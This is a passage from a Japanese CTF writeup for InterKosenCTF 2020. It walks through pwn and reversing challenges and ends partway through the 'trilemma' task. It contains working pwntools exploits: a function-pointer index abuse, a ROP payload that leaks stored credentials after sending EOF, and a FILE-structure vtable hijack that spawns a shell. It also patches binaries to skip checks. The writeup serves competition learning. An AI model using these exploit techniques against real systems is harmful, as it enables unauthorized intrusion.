Satoooonの物置

雑多に色々と何かをしている

InterKosenCTF2020 Writeup

はじめに

InterKosenCTF 2020にNITICチームで参加しました。

結果は24/126位、個人では19/189位でした。

f:id:Satoooon1024:20200907223542p:plain

CTFに参加したのはこれで2回目で、初心者なりにいい結果を出せたんじゃないかと思います。

特にwarmupより上のPwnを解くことを目標にしていたので、それを2問分解けたのはとても嬉しかったです。

babysort [warmup pwn, 49solves]

RELRO           STACK CANARY      NX            PIE
Partial RELRO   No canary found   NX enabled    No PIE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

typedef int (*SORTFUNC)(const void*, const void*);

typedef struct {
  long elm[5];
  SORTFUNC cmp[2];
} SortExperiment;

/* call me! */
void win(void) {
  char *args[] = {"/bin/sh", NULL};
  execve(args[0], args, NULL);
}

int cmp_asc(const void *a, const void *b) { return *(long*)a - *(long*)b; }
int cmp_dsc(const void *a, const void *b) { return *(long*)b - *(long*)a; }

int main(void) {
  SortExperiment se = {.cmp = {cmp_asc, cmp_dsc}};
  int i;

  /* input numbers */
  puts("-*-*- Sort Experiment -*-*-");
  for(i = 0; i < 5; i++) {
    printf("elm[%d] = ", i);
    if (scanf("%ld", &se.elm[i]) != 1) exit(1);
  }

  /* sort */
  printf("[0] Ascending / [1] Descending: ");
  if (scanf("%d", &i) != 1) exit(1);
  qsort(se.elm, 5, sizeof(long), se.cmp[i]);

  /* output result */
  puts("Result:");
  for(i = 0; i < 5; i++) {
    printf("elm[%d] = %ld\n", i, se.elm[i]);
  }
  return 0;
}

__attribute__((constructor))
void setup(void) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(300);
}

このようなプログラムとバイナリが渡されました。

5つの要素をソートするプログラムですが、昇順か降順か選択するときに、範囲外の数値(-1, 2など)がチェックされていないのが脆弱性です。

SortExperiment.cmpは関数のポインタが保存されていて、

qsort(se.elm, 5, sizeof(long), se.cmp[i]);

の部分で呼び出しています。

このse.cmp[i]をelmを参照するように差し向ければ、任意の関数を呼び出せそうです。

gdbでメモリの配置を調べてみます。

pwndbg> b qsort
Breakpoint 2 at 0x7ffff7e2eb50: file msort.c, line 308.
pwndbg> r
Starting program: 
-*-*- Sort Experiment -*-*-
elm[0] = 1
elm[1] = 2
elm[2] = 3
elm[3] = 4
elm[4] = 5
[0] Ascending / [1] Descending: 0
...
Breakpoint 1, 0x0000000000400921 in main ()
...
pwndbg> tel 10
00:0000│ rsp      0x7fffffffe368 —▸ 0x400926 (main+293) ◂— lea    rdi, [rip + 0x177]
01:0008│          0x7fffffffe370 ◂— 0x3
02:0010│          0x7fffffffe378 —▸ 0x4009bd (setup+74) ◂— nop
03:0018│ rax rdi  0x7fffffffe380 ◂— 0x1
04:0020│          0x7fffffffe388 ◂— 0x2
05:0028│          0x7fffffffe390 ◂— 0x3
06:0030│          0x7fffffffe398 ◂— 0x4
07:0038│          0x7fffffffe3a0 ◂— 0x5
08:0040│          0x7fffffffe3a8 —▸ 0x4007bd (cmp_asc) ◂— push   rbp
09:0048│          0x7fffffffe3b0 —▸ 0x4007df (cmp_dsc) ◂— push   rbp

0x7fffffffe380からのメモリを見るに

elm[0]
elm[1]
elm[2]
elm[3]
elm[4]
cmp[0]
cmp[1]

という配置になってるようです。

cmp[-1]はちょうどelm[4]にあたるので、elm[4]にwin関数のアドレスを入れて、昇順か降順か選択するときに-1を入れればwin関数が起動しそうです。

win関数のアドレスを調べます。

pwndbg> print win
$1 = {<text variable, no debug info>} 0x400787 <win>
pwndbg> print 0x400787
$2 = 4196231

それではやってみましょう。

$ ./chall
-*-*- Sort Experiment -*-*-
elm[0] = 0
elm[1] = 1
elm[2] = 2
elm[3] = 3
elm[4] = 4196231
[0] Ascending / [1] Descending: -1
$ ls
chall  flag.txt  main.c
$ cat flag.txt
KosenCTF{DummyFlag}

フラグが入手できました。(フラグは偽物です)

authme [pwn, 20solves]

RELRO           STACK CANARY      NX            PIE
Partial RELRO   No canary found   NX enabled    No PIE 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int auth = 1;
char username[0x20];
char password[0x20];

void init(void) {
  FILE *fp;

  /* read secret username */
  if ((fp = fopen("./username", "r")) == NULL) {
    puts("[-] Please report this bug to the admin");
    exit(1);
  }
  fread(username, sizeof(char), 0x20, fp);
  fclose(fp);

  /* read secret password */
  if ((fp = fopen("./password", "r")) == NULL) {
    puts("[-] Please report this bug to the admin");
    exit(1);
  }
  fread(password, sizeof(char), 0x20, fp);
  fclose(fp);
}

int main() {
  char buf[0x20];

  init();

  puts("                _   _     __  __ ______ ");
  puts("     /\\        | | | |   |  \\/  |  ____|");
  puts("    /  \\  _   _| |_| |__ | \\  / | |__   ");
  puts("   / /\\ \\| | | | __| '_ \\| |\\/| |  __|  ");
  puts("  / ____ \\ |_| | |_| | | | |  | | |____ ");
  puts(" /_/    \\_\\__,_|\\__|_| |_|_|  |_|______|\n");

  printf("Username: ");
  if (fgets(buf, 0x40, stdin) == NULL) return 1;
  if (strcmp(buf, username) != 0) auth = 0;

  printf("Password: ");
  if (fgets(buf, 0x40, stdin) == NULL) return 1;
  if (strcmp(buf, password) != 0) auth = 0;

  if (auth == 1) {
    puts("[+] OK!");
    system("/bin/sh");
    exit(0);
  } else {
    puts("[-] NG!");
    exit(1);
  }
}

__attribute__((constructor))
void setup(void) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);
}

このようなプログラムとバイナリが渡されました。

usernameとpasswordが合ってたらシェルをくれるようです。

脆弱性char buf[0x20];に対してfgets(buf, 0x40, stdin)としているため、0x20バイト分のBufferOverFlowが起こります。

これを使いROPすることが考えられますが、プログラムの最後がexit()で終了するためプログラムを最後まで実行する方法ではROPはできません。

そこで目につくのが

if (fgets(buf, 0x40, stdin) == NULL) return 1;

の部分ですね。fgetsがNULLになればreturnで終了してくれるため0x20からrbp分を引いた0x18=3 QWORDのROPが成立します。

fgetsがNULLになる条件を調べてみると、wikipedia

戻り値は stream の先頭が EOF だった場合もしくは途中でエラーが起こった場合は NULL、それ以外の場合は s である。

との記述がありました。EOFを送ればNULLを返してくれるようです。

EOFを送る方法ですが、「pwntools send eof」と調べるとissueが見つかりました。この最初の方でtube.shutdownについて言及されてるので調べてみます。

shutdown(direction = "send")

​ Closes the tube for futher reading or writing depending on direction.

​ Parameters: direction (str) – Which direction to close; “in”, “read” or “recv” closes the tube in the ingoing direction, “out”, “write” or “send” closes it in the outgoing direction.

- http://docs.pwntools.com/en/stable/tubes.html#pwnlib.tubes.tube.tube.shutdown

合ってそうですね。tube.shutdown("send")で出力方向を閉じる=EOFを送信することができるみたいです。

EOFを送信したらそれ以降通信できないから無理じゃ?と思いますが、手作業で調べてみると入力の送信は不可能ですが相手の出力の読み取りは可能みたいです。EOFは単にストリームの終端という意味だけであって、通信を終わらせる意味は無いってことですね。

ではROPが成立できたのでペイロードを考えます。入力の送信が不可能なので、シェルを起動してフラグを取るのはできなさそうです。

そのため、username, passwordを窃取してログインすることを考えます。

username, passwordはグローバル変数のためbssセクションに格納され、なおかつNo PIEなのでアドレスもわかっています。あとはROPで出力させるだけです。

def solve(io):
    chall = ELF("./chall")
    bin_sh_str = 0x400ca8
    pop_rdi = 0x0000000000400b03
    leak_addr = 0x006020c0  # usernmae
    # leak_addr = 0x006020e0  # password
    payload = b""
    # padding
    payload += b"A" * (0x20 + 0x8)
    # ROP
    payload += p64(pop_rdi)
    payload += p64(leak_addr)
    # puts(leak_addr)
    payload += p64(chall.plt["puts"])
    log.info(payload)
    io.recvuntil("Username: ")
    # fgetsはn-1文字を取得するため、末尾の1文字を減らしておく
    io.send(payload[:-1])
    # EOFを送る
    io.shutdown("send")
    # putsでleak_addrにある文字列が出力されるため、それを読み取る
    print(io.recvall())
b"Password: DummyUsername\n\n                _   _     __  __ ______ \n     /\\        | | | |   |  \\/  |  ____|\n    /  \\  _   _| |_| |__ | \\  / | |__   \n   / /\\ \\| | | | __| '_ \\| |\\/| |  __|  \n  / ____ \\ |_| | |_| | | | |  | | |____ \n /_/    \\_\\__,_|\\__|_| |_|_|  |_|______|\n\nUsername: "

usernameを窃取することができました。同様にpasswordも窃取し、ログインすればフラグが得られます。

これは終了ギリギリまで解けなかったんですが、ひたすらEOFを送る方法を探していたら解法を見つけました。usernameが出てきたときは興奮のあまりもう飛び上がりました。

Fables of aeSOP [pwn, 16solves]

RELRO           STACK CANARY      NX            PIE
Full RELRO      Canary found      NX enabled    PIE enabled 
╦┌┐┌┌┬┐┌─┐┬─┐╦╔═┌─┐┌─┐┌─┐┌┐┌╔═╗╔╦╗╔═╗
║│││ │ ├┤ ├┬┘╠╩╗│ │└─┐├┤ │││║   ║ ╠╣
╩┘└┘ ┴ └─┘┴└─╩ ╩└─┘└─┘└─┘┘└┘╚═╝ ╩ ╚
            ╔═╗╔═╗╔═╗╔═╗
            ╔═╝║ ║╔═╝║ ║
            ╚═╝╚═╝╚═╝╚═╝

全部載せのバイナリとbanner.txtというファイルが渡されます。

要約すると、bufferがグローバル変数で用意されていて、

  • banner.txtをfopenして表示

  • シェルを起動するwin関数のアドレスを教えてくれる

    実質 No PIE

  • gets(buffer)

    bss領域でBufferOverFlow

  • banner.txtをfclose

という流れです。調べるとbuffer+0x200にbanner.txtのFILE構造体のポインタが用意されてるみたいです。

FILE構造体を使ったpwnの手法があったような...と思い出し調べると、作問者様の記事が見つかります。

さて、FILE構造体を利用したexploit手法としてFILE Structure Oriented Programmingがあります。 _IO_FILE_plus構造体のvtableは次のようなアドレス一覧になっており、例えばfclose関数が呼ばれると_IO_close_tのアドレスが呼び出されます。

ptr-yudai.hatenablog.com

詳しくは記事を見てください。偽の_IO_FILE_plusと_IO_jump_tを用意してFILE構造体のポインタを偽のに向けることで、RIPを取れるみたいです。

記事には最近は検知機構があると書いてありますが、ないことを祈ってとりあえず愚直に書いてみます。

def solve(io):
    for i in range(7):
        io.readline()
    s = io.readline()
    win = int(s[10:], 16)
    bin_base = win - 0x00000a5a
    log.info(f"bin base = {bin_base:x}")
    buf_addr = bin_base + 0x00202060
    log.info(f"buf addr: {buf_addr:x}")
    fakeFile = FileStructure(null=buf_addr)
    fakeFile.vtable = buf_addr + len(bytes(fakeFile))
    payload = b""
    # fake _IO_FILE_plus
    payload += bytes(fakeFile)
    # fake _IO_jump_t
    payload += p64(win) * 21
    payload += b"A" * (0x200 - len(payload))
    # overwrite FILE pointer
    payload += p64(buf_addr)
    io.sendline(payload)

pwntoolsにFileStructureという_IO_FILE_plusを作ってくれる便利なものがあったのでそれを使っています。

vtableは面倒臭かったので全部winで埋めました

FileStructure(null=buf_addr)はnullのまま進めたらセグフォが起こったので書きこみ可能なbssのアドレスを入れとけばなんとかなるやろ!wという精神です(は?)

この世の全てに祈りながら実行してみます。

[+] Starting local process './chall': pid 1125
[*] bin base = 5555c874a000
[*] buf addr: 5555c894c060
[*] Switching to interactive mode

Congratulations!
$ ls
banner.txt  chall  core  flag.txt  libc-2.23.so  solve.py
$ cat flag.txt
KosenCTF{DummyFlag}

フラグを取ることができました。日頃の行いのおかげですね。

in question [warmup rev, 36solves]

$ file chall
chall: ELF 64-bit MSB *unknown arch 0x3e00* (SYSV)
$ ./chall
Usage: ./chall <FLAG>
$ ./chall hoge
Wrong...
$ ./chall KosenCTF{
Wrong...

不明なアーキテクチャのバイナリです。FLAGが合っているかどうか判定するプログラムですね。

radare2で解析ができたので処理を見ていきます。

[0xa501400000000000]> aaaaaa
[0xa501400000000000]> afl
0x0001051e    5 10206 -> 38   fcn.0001051e
0x00012ad8   13 143          fcn.00012ad8
0x00012287    2 22           fcn.00012287
0x00010541    3 158          fcn.00010541
0x00011d2c   16 390          fcn.00011d2c
0x000102ba    7 83           fcn.000102ba
0x000105df   10 150          fcn.000105df
0x000101bb    2 866  -> 94   fcn.000101bb
0x000101e0    4 50   -> 40   fcn.000101e0
0x000120a0   25 392          fcn.000120a0
0x0001030e    1 1            fcn.0001030e
0x00010120    1 3            fcn.00010120
0x00010491    4 32           fcn.00010491
0x00010130    6 117          fcn.00010130
0x0001030f   28 386          fcn.0001030f
0x000123aa   12 170          fcn.000123aa
0x000125c3    1 53           fcn.000125c3
0x00012880   13 115          fcn.00012880
0x000126a3    7 137          fcn.000126a3
0x00012490   10 103          fcn.00012490
0x00012454    4 60           fcn.00012454
0x00011eed   12 196          fcn.00011eed
0x0001083e    3 23           fcn.0001083e
0x00012303    1 12           fcn.00012303
0x000122bf    7 68           fcn.000122bf
0x00010855    7 150          fcn.00010855
0x0001230f    8 134          fcn.0001230f
0x000107e3    4 32           fcn.000107e3
0x00012228    1 14           fcn.00012228
0x00010803    8 59           fcn.00010803
0x00010675   37 366          fcn.00010675
0x00012272   11 112  -> 90   fcn.00012272
0x00011ec0    1 45           fcn.00011ec0
0x00012730   29 329  -> 291  fcn.00012730
0x00012395    3 21           fcn.00012395
0x00012978   16 274          fcn.00012978
0x000108eb  184 2787         fcn.000108eb
0x000113ce  147 2398         fcn.000113ce
0x00012577    3 71           fcn.00012577
0x00012925    1 16           fcn.00012925
0x000128f3    6 50           fcn.000128f3
0x0001201d    4 131          fcn.0001201d
0x00011fb1    5 108          fcn.00011fb1
0x000124f7    1 3            fcn.000124f7
0x00012950    3 40   -> 37   fcn.00012950
0x00012b19   11 221          fcn.00012b19
0x000125f8   14 171          fcn.000125f8
0x00012bf6    1 25           fcn.00012bf6
0x00012c1b   15 164          fcn.00012c1b
0x00010281    3 32           fcn.00010281
0x000102b0    5 154  -> 67   fcn.000102b0

どうやらstaticでstrippedなバイナリなようです。こういうときは結果から追うのが早いと思います。

[0xa501400000000000]> / Wrong
Searching 5 bytes in [0x10000-0x17ef8]
hits: 2
0x00012d1b hit2_0 .FLAG>Correct!Wrong.../dev/null.
0x000137a4 hit2_1 .No medium foundWrong medium typeMul.
[0xa501400000000000]> pd 1 @ 0x00012d1b
            ; DATA XREF from fcn.00010130 @ 0x10193
            ;-- hit2_0:
            0x00012d1b      57             push rdi

このように表示されている文字列を探して、pdコマンドを打つと文字列を参照しているアドレスを見つけることができます。

処理を追っていくと、

│      │    0x0001017a      e83b010000     call fcn.000102ba
│      │    0x0001017f      85c0           test eax, eax
│      │    0x00010181      89c3           mov ebx, eax
│      │┌─< 0x00010183      750e           jne 0x10193
│      ││   0x00010185      488d3d862b00.  lea rdi, qword [0x00012d12] ; "Correct!"
│      ││   0x0001018c      e84e040000     call fcn.000105df
│     ┌───< 0x00010191      eb0e           jmp 0x101a1
│     │││   ; CODE XREF from fcn.00010130 @ 0x10183
│     ││└─> 0x00010193      488d3d812b00.  lea rdi, qword [hit2_0]     ; 0x12d1b ; "Wrong..."

という処理が目につきます。成否を判定しているfcn.000102baが怪しいですね。

冒頭は意味のないノイズ的な処理が混ざってますが、重要なのは下の部分です。

│       ┌─> 0x000102e1      39c8           cmp eax, ecx
│      ┌──< 0x000102e3      7d25           jge 0x1030a
│      │╎   0x000102e5      418a1400       mov dl, byte [r8 + rax]
│      │╎   0x000102e9      4132540001     xor dl, byte [r8 + rax + 1]
│      │╎   0x000102ee      89c7           mov edi, eax
│      │╎   0x000102f0      4080f7ff       xor dil, 0xff               ; 255
│      │╎   0x000102f4      0fb6d2         movzx edx, dl
│      │╎   0x000102f7      31fa           xor edx, edi
│      │╎   0x000102f9      0fb63c06       movzx edi, byte [rsi + rax]
│      │╎   0x000102fd      48ffc0         inc rax
│      │╎   0x00010300      39fa           cmp edx, edi
│      │└─< 0x00010302      74dd           je 0x102e1
│      │    0x00010304      b801000000     mov eax, 1
│      │    0x00010309      c3             ret
│      │    ; CODE XREF from fcn.000102ba @ 0x102e3
│      └──> 0x0001030a      31c0           xor eax, eax
└           0x0001030c      c3             ret

ここで成否判定が行われているようですね。

処理を読んでくと、

[r8 + rax] xor [r8 + rax + 1] xor (0xff xor rax) == [rsi + rax]

という判定をし、真ならばraxをインクリメントして続行という形ですね。

r8やrsiの中身を見たいのでradare2のデバッグ機能を使います。

[0xa501400000000000]> ood KosenCTF{   # ここで引数を指定できる
[0xa501400000000000]> s 0x04002e1     # PIEが有効なのか、探すとこのアドレスに先ほどの処理がある
[0x040102e1]> pd 1
            0x004002e1      39c8           cmp eax, ecx
[0x00402291]> db 0x004002e1
[0x004001a5]> dc
hit breakpoint at: 4002e1
[0x004002e1]> pd 10
            ;-- rip:
            0x004002e1 b    39c8           cmp eax, ecx
        ┌─< 0x004002e3      7d25           jge 0x40030a
        │   0x004002e5      418a1400       mov dl, byte [r8 + rax]
        │   0x004002e9      4132540001     xor dl, byte [r8 + rax + 1]
        │   0x004002ee      89c7           mov edi, eax
        │   0x004002f0      4080f7ff       xor dil, 0xff               ; 255
        │   0x004002f4      0fb6d2         movzx edx, dl
        │   0x004002f7      31fa           xor edx, edi
        │   0x004002f9      0fb63c06       movzx edi, byte [rsi + rax]
        │   0x004002fd      48ffc0         inc rax
[0x004002e1]> dr
rax = 0x00000000
rbx = 0x00000002
rcx = 0x00000009
rdx = 0x7ffcc0b05030
r8 = 0x7ffcc0b066d6
r9 = 0x00000000
r10 = 0x00000000
r11 = 0x00000246
r12 = 0x00400152
r13 = 0x7ffcc0b05030
r14 = 0x00000000
r15 = 0x00000000
rsi = 0x00604030
rdi = 0x7ffcc0b066e0
rsp = 0x7ffcc0b04fc8
rbp = 0x7ffcc0b05018
rip = 0x004002e1
rflags = 0x00000246
orax = 0xffffffffffffffff
[0x004002e5]> px @ r8
- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x7fff03b3b6d6  4b6f 7365 6e43 5446 7b00 5348 454c 4c3d  KosenCTF{.SHELL=
[0x004002e1]> px @ rsi
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00604030  dbe2 ebf7 d6ed ebc5 e8a2 abee d8c1 aeb7  ................
0x00604040  c4c5 f1b0 abc1 d0be e7ba d6ce eb9f 0000  ................

r8は引数、rsiは怪しげなバイト列のアドレスでした。

[r8 + rax] xor [r8 + rax + 1] xor (0xff xor rax) == [rsi + rax]

これは、正解の文字列をans、rsiのバイト列をkey、raxをiとすると

ans[i] ^ ans[i+1] ^ (0xff xor i) == key[i]

ans[i+1] == key[i] ^ ans[i] ^ (0xff ^ i)

と変換することができます。つまり一文字前がわかっていれば次の文字列が求められます。

これを解くプログラムを書きます。

s = b"\xdb\xe2\xeb\xf7\xd6\xed\xeb\xc5\xe8\xa2\xab\xee\xd8\xc1\xae\xb7\xc4\xc5\xf1\xb0\xab\xc1\xd0\xbe\xe7\xba\xd6\xce\xeb\x9f"
flag = "K"
for i, si in enumerate(s):
    flag += chr(s[i] ^ flag[i] ^ (0xff ^ i))
print(flag)
$ python3 solve.py
KosenCTF{d0nt_l3t_th4t_f00l_u}

フラグを取得できました。

ちゃんとアセンブリを読めば解ける問題でしたが、最初はstringsで出てきた大量の?を見て、「この?の数を加工すればフラグになるに違いない!」と考えアセンブリを全く見ずに考えていました(は?)

harmagedon [rev, 36solves]

Enclose the flag with KosenCTF{}

と問題文にありました。バイナリが渡されます。

$ ./harmagedon
which is your choice? [fRD3]f
which is your choice? [H26S]H
which is your choice? [93Py]9
which is your choice? [LRZu]L
which is your choice? [z1C}]z
which is your choice? [ylQC]y
which is your choice? [g9-5]g
which is your choice? [GiMI]G
which is your choice? [oyVd]o
which is your choice? [{Wxh]{
which is your choice? [JXAC]J
try harder.

文字を4択で選ぶのを11回繰り返すようですね。フラグの文字列かどうか判定してくれそうです。

4**11 = 4194304 = 5*106程度なので全探索を考えます。

最初はpwntoolsでprocessを繋ごうと思いましたが、コンテスト中に終わらないことがわかったので諦めてアセンブリを読みます。

main関数はないようで、エントリポイントからコードが書かれています。

入力する文字はどれも4択の中から選んだものとして、要約すると下のようになります。

│       ┌─> 0x004000b6      49ffc2         inc r10
│       ╎   0x004000b9      b87c7cb700     mov eax, 0xb77c7c
│       ╎   0x004000be      4839d8         cmp rax, rbx
│      ┌──< 0x004000c1      0f84da000000   je loc.congratz
│      │╎   0x004000c7      b80b000000     mov eax, 0xb                ; 11
│      │╎   0x004000cc      4c39d0         cmp rax, r10
│     ┌───< 0x004000cf      0f8ce9000000   jl loc.goodbye
...
│     ││╎   0x0040013e      8a04259457b5.  mov al, byte [loc.inputbuf] ; [0xb55794:1]=0
│     ││╎   0x00400145      4831c9         xor rcx, rcx
│     ││╎   0x00400148      3a84193f0260.  cmp al, byte [rcx + rbx + loc.buf]
...
│   ┌─────< 0x0040015b      7435           je loc.valid
│   ││││╎   0x0040015d      48ffc1         inc rcx
│   ││││╎   0x00400160      3a84193f0260.  cmp al, byte [rcx + rbx + loc.buf]
(この処理が3回続く)
...
│ └└└└────> 0x00400192      4801cb         add rbx, rcx
│     ││╎   0x00400195      48ffc3         inc rbx
│     ││╎   0x00400198      48c1e302       shl rbx, 2
│     ││└─< 0x0040019c      e915ffffff     jmp loc.f

loc.bufが怪しいので調べます。

[0x004000b0]> pxx @ loc.buf
- offset -   0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF
0x0060023f  fRD3H26SYmug1WnJK-5m93Pyb-z-WaonCrm931bmx4qDkcJQcOUCpuHYO3zyk_s6
0x0060027f  Ds4ty6RmMnCg{8ID4oaALRZuUMohNuWgNpvpWFAOJDof-YzKwf2}{TDNem1EmPfS
0x006002bf  _2o-YGvh1aJ_aoX_hB7COKi6V8Fwvm{Th9cc1K}tMAkOIwp0}eY{yhtPlTSNwM8h
0x006002ff  O}Lru8pzAGp_Oe}3xjNYQ{D6B9IE6qwLc1d8AqNKPypDwjug_NBkeL0JP5AOrrr9

どうやら4択に表示する文字列が入っているみたいですね。

処理を読んでコードにすると、このような形になります。

# caseは選択する文字のインデックス(0,1,2,3)の配列
# strings ./harmagedon | grep fRD3 > buf.txt
with open("buf.txt", "rb") as f:
    s = f.read()
def harmagedon(case):
    rbx = 0
    flag = ""
    for r10 in range(1, 12):
        rbx += case[r10 - 1]
        flag += chr(s[rbx])
        rbx += 1
        rbx <<= 2
    if rbx == 0xb77c7c:
        print(flag)
        exit()

これを全探索します。

# ネットから拾ってきたp進bit全探索の関数
def iter_p_adic(p, n):
    from itertools import product
    tmp = [range(p)] * n
    return product(*tmp)

def main():
    for case in iter_p_adic(4, 11):
        harmagedon(case)
$ python3 solve.py
Ruktun0rDi3

フラグがゲットできました。

最初はangrで解けるのかな~と思っていましたが、angrは全く触ったこともなかったし現実的な時間で解けるのかもわからない(は?)

楽せずにアセンブリをちゃんと読もう!(自戒)

trilemma [rev, 26solves]

libcitizen.so, libemperor.so, libslave.so, main.cが渡されます。

/**
   $ gcc main.c -L./ -lemperor -lcitizen -lslave
   $ LD_LIBRARY_PATH=./ ./a.out
 */
#include <stdio.h>

char *emperor_flag(void);
char *citizen_flag(void);
char *slave_flag(void);

int main(void) {
  printf("The flag is %s%s%s\n", emperor_flag(), citizen_flag(), slave_flag());
  return 0;
}

フラグを出力するプログラムですね、なんだ簡単じゃん(いいえ)

動かす方法が書いてあったのでコンパイルして実行してみます。

$ gcc main.c -L./ -lemperor -lcitizen -lslave
$ LD_LIBRARY_PATH=./ ./a.out
[libslave.so] Citizen despises slave.

よくわからない文字列が出力されました。libslave.soで問題が起きているようです。

radare2で見てみます。

[0x00000800]> aaaaaa
[0x00000800]> afl
0x00000800    4 50   -> 40   entry0
0x000007b0    1 6            sym.imp.mmap
0x000007d0    1 6            sym.imp.fwrite
0x000007c0    1 6            sym.imp.exit
0x00000790    1 6            loc.imp.emperor_secret
0x00000780    1 6            sym.imp.dl_iterate_phdr
0x000007a0    1 6            sym.imp.__stack_chk_fail
0x00000750    3 23           sym._init
0x00000c90    1 9            sym._fini
0x00000840    4 66   -> 57   sym.register_tm_clones
0x00000890    5 58   -> 51   entry.fini0
0x000008d0    1 10           entry.init0
0x00000b6c    5 115          sym.lookup
0x00000000    5 185  -> 170  loc.imp._ITM_deregisterTMCloneTable
0x000007e0    1 6            sym.imp.strstr
0x000008da    9 328          sym.slave_secret
0x00000a22    6 330          sym.slave_flag
0x00000bdf    7 177          sym.slave
[0x00000800]> / [libslave.so] Citizen despises slave.
Searching 37 bytes in [0x202073-0x202078]
hits: 0
Searching 37 bytes in [0x201df8-0x202073]
hits: 0
Searching 37 bytes in [0x0-0xe4c]
hits: 1
0x00000ce0 hit2_0 .libemperor.so[libslave.so] Citizen despises slave.[libslave.so].
[0x00000800]> pd 1 @ 0x00000ce0
            ; DATA XREF from sym.slave @ 0xc2f
            ;-- str.libslave.so__Citizen_despises_slave.:
            ;-- hit2_0:
            0x00000ce0     .string "[libslave.so] Citizen despises slave.\n" ; len=39
[0x00000800]> pdf @ 0xc2f
┌ 177: sym.slave ();
│           ; var int64_t var_10h @ rbp-0x10
│           ; var int64_t var_ch @ rbp-0xc
│           ; var int64_t var_8h @ rbp-0x8
│           0x00000bdf      55             push rbp
...

in questionと同じ方法で辿っていくと、slave関数が悪さをしているようです。

重要な部分のみ抜き出すと、下のようになります。

│           0x00000c14      85c0           test eax, eax
│       ┌─< 0x00000c16      742d           je 0xc45
│       │   0x00000c18      488b05d91320.  mov rax, qword [reloc.stderr] ; [0x201ff8:8]=0
│       │   0x00000c1f      488b00         mov rax, qword [rax]
│       │   0x00000c22      4889c1         mov rcx, rax                ; FILE *stream
│       │   0x00000c25      ba26000000     mov edx, 0x26               ; '&' ; size_t nitems
│       │   0x00000c2a      be01000000     mov esi, 1                  ; size_t size
│       │   0x00000c2f      488d3daa0000.  lea rdi, qword str.libslave.so__Citizen_despises_slave. ; hit2_0
│       │                                                              ; 0xce0 ; "[libslave.so] Citizen despises slave.\n" ; const void *ptr
│       │   0x00000c36      e895fbffff     call sym.imp.fwrite         ; size_t fwrite(const void *ptr, size_t size, size_t nitems, FILE *stream)
│       │   0x00000c3b      bf01000000     mov edi, 1                  ; int status
│       │   0x00000c40      e87bfbffff     call sym.imp.exit           ; void exit(int status)
│       │   ; CODE XREF from sym.slave @ 0xc16
│       └─> 0x00000c45      8b45f4         mov eax, dword [var_ch]

test eax, eax; je 0xc45という分岐があり、jeが成立しないとexitされるようです。

よくわからないので成立するように書き替えてしまいましょう(脳死)

r2 -w ./challで開くと書き込みが可能になります。

(中で書き込みを有効にするコマンドもあった気がしたけど忘れた)

[0x00000800]> "wa je 0xc45" @ 0x00000c16
Written 2 byte(s) (je 0xc45) = wx 742d
[0x00000800]> pd 1 @ 0x00000c16
│       ┌─< 0x00000c16      742d           je 0xc45
[0x00000800]> "wa jmp 0xc45" @ 0x00000c16
Written 2 byte(s) (jmp 0xc45) = wx eb2d
[0x00000800]> pd 1 @ 0x00000c16
│       ┌─< 0x00000c16      eb2d           jmp 0xc45

これで無条件でジャンプするようになりました。

実は下にも同じような処理があるので、それも書き替えてしまいましょう。

では実行してみます。

$ LD_LIBRARY_PATH=./ ./a.out
[libcitizen.so] Emperor manipulates citizen.

libcitizen.soで問題があるようですね。

実はlibslave.soと同様にlibcitizen.so, libemperor.soにも先ほどと同じような処理があります。

他二つについても書き替えてしまいましょう。その後また実行してみます。

$ LD_LIBRARY_PATH=./ ./a.out
[libcitizen.so] Resource conflicts.

まだ問題があるようです。radare2で再度確認してみます。

先ほどと同じように辿ってみます。

[0x00000800]> / [libcitizen.so] Resource conflicts.
Searching 35 bytes in [0x202073-0x202078]
hits: 0
Searching 35 bytes in [0x201df8-0x202073]
hits: 0
Searching 35 bytes in [0x0-0xe5c]
hits: 1
0x00000ca8 hit3_0 .HH[libcitizen.so] Resource conflicts.libemperor.so.
[0x00000800]> pd 1 @ 0x00000ca8
            ; DATA XREF from sym.citizen_secret @ 0x937
            ; DATA XREF from sym.citizen_flag @ 0xa82
            ;-- str.libcitizen.so__Resource_conflicts.:
            ;-- section..rodata:
            ;-- .rodata:
            ;-- hit2_0:
            ;-- hit3_0:
            0x00000ca8     .string "[libcitizen.so] Resource conflicts.\n" ; len=37 ; [14] -r-- section size 150 named .rodata

citizen_secretとcitizen_flagから参照されているようです。

flagとあるのでcitizen_flagから見てみます。重要な部分を抜き出すと、下のようになります。

│           0x00000a2d      41b900000000   mov r9d, 0                  ; size_t offset
│           0x00000a33      41b8ffffffff   mov r8d, 0xffffffff         ; int fd
│           0x00000a39      b932800000     mov ecx, 0x8032             ; int flags
│           0x00000a3e      ba03000000     mov edx, 3                  ; int prot
│           0x00000a43      be00100000     mov esi, 0x1000             ; size_t length
│           0x00000a48      48bf00000000.  movabs rdi, 0x3fee00000000  ; 70291434766336 ; void*addr
│           0x00000a52      e849fdffff     call sym.imp.mmap           ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset)
│           0x00000a57      488945f0       mov qword [var_10h], rax
│           0x00000a5b      48b800000000.  movabs rax, 0x3fee00000000  ; 70291434766336
│           0x00000a65      483945f0       cmp qword [var_10h], rax
│       ┌─< 0x00000a69      742d           je 0xa98
│       │   0x00000a6b      488b05861520.  mov rax, qword [reloc.stderr] ; [0x201ff8:8]=0
│       │   0x00000a72      488b00         mov rax, qword [rax]
│       │   0x00000a75      4889c1         mov rcx, rax                ; FILE *stream
│       │   0x00000a78      ba24000000     mov edx, 0x24               ; '$' ; size_t nitems
│       │   0x00000a7d      be01000000     mov esi, 1                  ; size_t size
│       │   0x00000a82      488d3d1f0200.  lea rdi, qword str.libcitizen.so__Resource_conflicts. ; hit2_0
│       │                                                              ; 0xca8 ; "[libcitizen.so] Resource conflicts.\n" ; const void *ptr
│       │   0x00000a89      e842fdffff     call sym.imp.fwrite         ; size_t fwrite(const void *ptr, size_t size, size_t nitems, FILE *stream)
│       │   0x00000a8e      bf01000000     mov edi, 1                  ; int status
